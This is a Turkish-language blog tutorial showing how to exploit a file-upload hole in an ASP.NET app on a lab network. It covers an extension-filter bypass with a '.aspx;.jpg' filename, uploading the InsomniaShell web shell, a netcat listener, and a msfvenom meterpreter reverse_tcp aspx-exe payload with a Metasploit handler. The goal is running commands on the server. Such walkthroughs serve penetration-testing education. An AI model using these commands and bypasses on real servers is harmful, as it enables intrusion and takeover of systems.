Eyüp Çelik

Sr. Cyber Security Expert

Sr. Network Security Expert

Sr. Malware Developer

Sr. C# Developer

Eyüp Çelik

Sr. Cyber Security Expert

Sr. Network Security Expert

Sr. Malware Developer

Sr. C# Developer

Blog Post

ASP.NET Web Shell ile Ters Bağlantı Alma Yöntemleri

ASP.NET Web Shell ile Ters Bağlantı Alma Yöntemleri

Bu yazımızda herhangi bir dosya yükleme zayıflığı tespit edilmiş olan bir ASP.NET uygulaması üzerinden web Shell kullanarak ters bağlantı alınmasını ele alacağım. Bildiğiniz üzere birçok web uygulamasında zaman zaman dosya yükleme zayıflıkları tespit edilebilmektedir. Bu zayıflıklar kullanılarak sisteme zararlı bir .NET kodu atılabilir ve çalıştırılabilirse, sistem yönetimi ele geçirilebilmektedir.

Ben bu makaleyi iki kısımda ele alacağım. Birincisi ImsomniaShell üzerinden netcat’e ters bağlantı sağlamak, diğeri ise msfvenom ile aspx-exe oluşturarak meterpreter back connect alacağız.

1. ImsomniaShell ile Back Connect Alma

Malzemeler:

  1. Bir adet IIS Server (Windows Server 2008 R2 kullanacağız IP=192.168.126.100)
  2. Bir adet az yoğrulmuş web uygulaması (dosya upload zayıflığı barındıran bir uygulama)
  3. Çakmak – Kibrit (Tamper Data – Firefox için)
  4. Tuz biber (Kali Linux v2.0 kullanacağız IP=192.168.126.141)
  5. InsomniaShell.aspx (Buran indiriniz: http://www.eyupcelik.com.tr/dosyalar/insamnia.rar dosya şifresi rakamla 1 dir.)
  6. Fırına verme (Netcat kullanacağız)

Bu makalede kullanacağımız web uygulaması, PriviaSecurity ekibi tarafından yazılmış olan bir vulnerable e-ticaret sistemi olacak. Bu yazılım henüz public edilmediği için burada paylaşmadım. Siz testleri DVWA üzerinden gerçekleştirebilirsiniz.

ASP.NET-Web-Shell-01

Web uygulamasına erişim sağlanıp, giriş yapıldıktan sonra profil düzenle menüsü olduğunu görüyoruz. Bu profil düzenle menüsüne erişelim.

ASP.NET-Web-Shell-02

Profil düzenleme sayfasında, bizden bir profil resmi istediğini gördük. Şimdi Tamper Data’yı açıp profil resmimizi seçerek kaydet diyeceğiz.

Indirmiş olduğuz imsoniashell.aspx dosyasının adını “imsoniashell.aspx;eyup.jpg” şeklinde değiştirelim. Böyle bir şey yapmaya neden ihtiyaç duyuyoruz soruna gelecek olursak da; birçok geliştirilen web uygulaması kullanıcıdan resim vb. dosyalar yüklemesini isterken kullanıcı taraflı bir kontrolden geçirir. Örneğin sadece .jpg, .png veya .gif dosyaları yüklenebilsin gibi… Biz böyle bir kontrole takılmamak (daha doğrusu bu kontrolü aşmak için) bu yöntemi kullanacağız. Ancak eğer hem kullanıcı hem de sunucu taralı bir kontrol yazılmışsa; örneğin jpg bitlerini kontrol et ve jpg olup olmadığına karar ver gibi bir kontrol varsa bunu aşmak oldukça zor olacaktır.

Tamper Data’yı açıp start moda alıp, resim dosyamızı seçiyoruz.

ASP.NET-Web-Shell-03

Tamper Data araya girecek ve veriyi değiştirmek isteyip istemediğimizi soracak. Bu bildirime Tamper diyip, içeriği değiştireceğimizi bildiriyoruz.

ASP.NET-Web-Shell-04

POST_DATA bölümünde yer alan POST edilen veriyi seçip CTRL+A ile tümünü seçiyoruz ve CTRL+C ile kodu kopyalayıp bir metin editörüne yapıştırıyoruz.

ASP.NET-Web-Shell-05

Kırmızı alanda işaretlemiş olduğum dosya adının yer aldığı satırı bulup “InsomniaShell.aspx;eyup.jpg” dosya adını “InsomniaShell.aspx” şeklinde değiştirip, kodumuzun tamamını kopyalıyoruz. Tamper ekranına geçip, POST_DATA kısmında yazan tüm içeriği silip, kopyalamış olduğumuz kodu buraya yapıştırarak Tamper ekranına tamam diyoruz ve değişikliğimiz sunucu tarafına iletiliyor.

ASP.NET-Web-Shell-06

Hoop bakıyoruz profil resmimiz değişti ve görüntülenemeyen bir resim durumuna düştü. Şimdi profil resmimizin dizinini öğrenmemiz gerekiyor. Yani sunucuya göndermiş olduğumuz Imsoniashell.aspx dosyanın yüklenmiş olduğu dizini bulmalıyız. Bunun için F12 ile profil resminin dizinine bakacağız.

ASP.NET-Web-Shell-07

Profil resmi adresine baktığımızda “../profilresim/InsomniaShell.aspx” şeklinde yüklenmiş olduğunu görüyoruz. Yani olduğumuzdan dizinden bir klasör üste çıkıp profilresim dizininden Insomniashell.aspx yazdığımızda yüklemiş olduğumuz shelle erişebileceğiz.

ASP.NET-Web-Shell-08

Shell’e erişimi sağladık. Artık geriye kalan sistemden back connect almak. Bunun için hemen Kali Linux’a dönüp “netcat”i çalıştıracağız.

ASP.NET-Web-Shell-09

Kali’den yeni bir terminal ekranı açıyoruz. “nc -l -v -p 443” komutunu yazıyoruz. Buna göre netcat -l parametresi ile listen mode’a geçecek. -v parametresi ile bağlantı hakkında bize detaylı bilgi verecek. -p parametresi ile de 443’üncü portu dinleme moduna alacak.

Neden 443’üncü portu seçtiğimize gelecek olursa; birçok web uygulamasının çalıştığı sunucuda içerden dışarı çoğu port kapalıdır. 80 ve 443 genel itibari ile açık olan portlardır. Hele ki web yayını yapan bir web uygulamasıysa 80 ve 443’üncü portlar kaçınılmaz olarak açıktır. Bir engellemeye takılmamak adına 443’üncü portu seçtik yani.

Şimdi shell’imize geri dönüp, ters bağlantı yapacağı ip adresini ve portu yazıyoruz.

ASP.NET-Web-Shell-10

Host kısmına Kali Linux’un IP adresini, Port kısmına da 443’üncü portu yazıp, Connect Back Shell butonuna bastığımızda, netcat ile dinlemekte olduğumuz 443’üncü porta ters bağlantı gönderecek.

ASP.NET-Web-Shell-11

Görüldüğü üzere netcat ile dinlediğimiz 443 portuna ters bağlantı gönderildi. Artık makinada komut çalıştırabiliriz. Hemen makinadaki kullanıcı hesaplarına bakabiliriz.

ASP.NET-Web-Shell-12

Evet görüldüğü üzere makinada komut yürüttük. “net user” komutu ile sistemdeki kullanıcı hesaplarına baktık. Buna göre A**o, Administrator ve Guest adında 3 kullanıcı mevcutmuş. Bundan sonraki adımda ne kadar windows komutu biliyorsanız o kadar sistemde komut yürütebilirsiniz.

Dip Not: Insomniashell.aspx sayfasını kapatmadığınız sürece ters bağlantı çalışmaya devam edecektir.

2. Msfvenom aspx-exe Oluşturarak Ters Bağlantı Alma

  1. Bir adet IIS Server (Windows Server 2008 R2 kullanacağız IP=192.168.126.100)
  2. Bir adet az yoğrulmuş web uygulaması (dosya upload zayıflığı barındıran bir uygulama)
  3. Çakmak – Kibrit (Tamper Data – Firefox için)
  4. Tuz biber (Kali Linux v2.0 kullanacağız IP=192.168.126.141)
  5. aspx-exe oluşturma (msfvenom)
  6. Fırına verme (Metasploit multi/handler kullanacağız)

1 numaralı adımda anlatılan adımları baştan anlatmayacağım. Bu yüzden 1 numaralı anlatımda resim yükleme alanına kadar ilerlendiğini varsayıyorum. Buranın devamını okuyacak arkadaşların msfvenom ile kullanımı ile ilgili bu makaleyi http://eyupcelik.com.tr/guvenlik/481-derinlemesine-msfvenom-a-bakis-ve-msfvenom-ile-backdoor-olusturma okumalarında fayda görüyorum.

Kali Linux’da yeni bir terminal ekranı açıp, msfvenom ile aspx-exe tipinde bir meterpreter ajanı oluşturalım. Abi neden aspx-exe kullanacağız diyenler vardır şimdi. Aspx-exe ile bir aspx dosyası oluşturacağız. Oluşturduğumuz bu aspx-exe dosyasını hedefe yükleyip çalıştırdığımızda, sunucunun temp dizine random bir isimde bir exe dosyası oluşturacaktır. Daha sonra gidi bu exe yi çalıştırıp bize meterpreter bağlantısı gönderecektir. Bu yüzden aspx-exe kullanacağız.

ASP.NET-Web-Shell-13

Açtığımız terminal ekranına “msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443 -f aspx-exe –platform windows -o /root/Desktop/Profile.aspx” komutunu yazıyoruz. Bu komut ile 192.168.126.141 IP adresinin 443 portuna geri dönecek aspx-exe formatında, windows platformda çalışacak bir meterpreter çıktısını /root/Desktop/ dizinine Profile.aspx adında oluşturacak.

Oluşturmuş olduğumuz dosyayı 1 numaralı adımda anlatıldığı gibi sunucuya yükleyerek dosyaya erişimi sağlamamız gerekiyor. Ancak bundan önce metasploit multi/handler başlatmamız gerekiyor. Metasploit’ten multi/handler’ı aşağıdaki gibi başlatıp listen mode’a geçiyoruz.

ASP.NET-Web-Shell-14

Handlerı başlattığımıza göre artık dosyaya eriştiğimizde bize ters bağlantı gelecektir.

ASP.NET-Web-Shell-15

Yüklemiş olduğumuz Profile.aspx dosyasına bir kere erişim sağladığımızda temp dizinine bir exe oluşturup çalıştıracak ve meterpreter bağlantısı sağlayacaktır. Şimdi Kali Linux’a geri dönüp, gelen bağlantılara bakalım.

Dip Not: Sayfaya kaç kere erişirseniz o kadar meterpreter bağlantısı kuracaktır.

ASP.NET-Web-Shell-16

Bağlantımız gelmiş. Artık “sessions” komutu çalıştırarak gelen bağlantıları listeleyebiliriz.

ASP.NET-Web-Shell-17

Bir bağlantı gelmiş. Gelen bu bağlantıya geçmek için “sessions -i 1” komutunu çalıştırarak 1 numaralı id ye sahip oturumu üzerimize alıyoruz.

ASP.NET-Web-Shell-18

Oturumu üzerimize aldık. Ardından “shell” komutu atarak windows komut arabirimine eriştik. Komut arabirimine “net user” komutunu yazarak, mevcut kullanıcıların listesini aldık.

Güvenli günler.

Related Posts
Write a comment